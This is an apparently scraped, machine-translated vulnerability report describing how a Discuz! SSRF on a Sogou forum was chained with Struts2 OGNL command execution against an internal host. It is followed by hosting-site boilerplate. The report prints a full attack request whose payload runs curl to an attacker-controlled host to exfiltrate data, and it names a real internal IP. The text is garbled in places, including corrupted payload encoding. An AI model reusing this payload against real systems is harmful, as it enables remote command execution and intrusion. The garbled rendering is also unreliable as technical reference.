A sogou Intranet has Struts2 command execution (discuz! Application Instance)

Source: Internet
Author: User
Tags subdomain name

A sogou Intranet has Struts2 command execution (discuz! Application Instance)

A sogou Intranet has Struts2 command execution (discuz! Application Instance)

Detailed description:

Http://bizhi.sogou.com/bbs/ is discuz! Vulnerability.

Multiple SSRF vulnerabilities exist, allowing you to bypass the boundaries and create an Intranet vulnerability.

First, crack the subdomain name and find the Intranet IP address.

Http://bizhi.sogou.com/bbs/forum.php? Mod = ajax & action = downremoteimg & message = [img = 1, 1] http: // '+ ip +'/login. action? Redirect: $ {% 2523a % 253d (new % 2520java. lang. processBuilder (new % 2520java. lang. string % 255B % 255D % 2520 {% 2527 curl % 2527, % 2527 http: // xxxxxx/api. php? '+ Ip Route '00002527000000000000.start(00000000xx.jpg [/img] & formhash = 09cec465

The request carries cookie and formhash.

The ip address is an intranet IP segment column ..

Api. php records request IP addresses and links

The returned IP address will be displayed on the web site.

221.204.14.2710.13.203.183

That is, the Struts2 command is executed in 10.13.203.183.

Proof of vulnerability:

Solution:

Discuz! For more information about vulnerabilities, see the official website.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.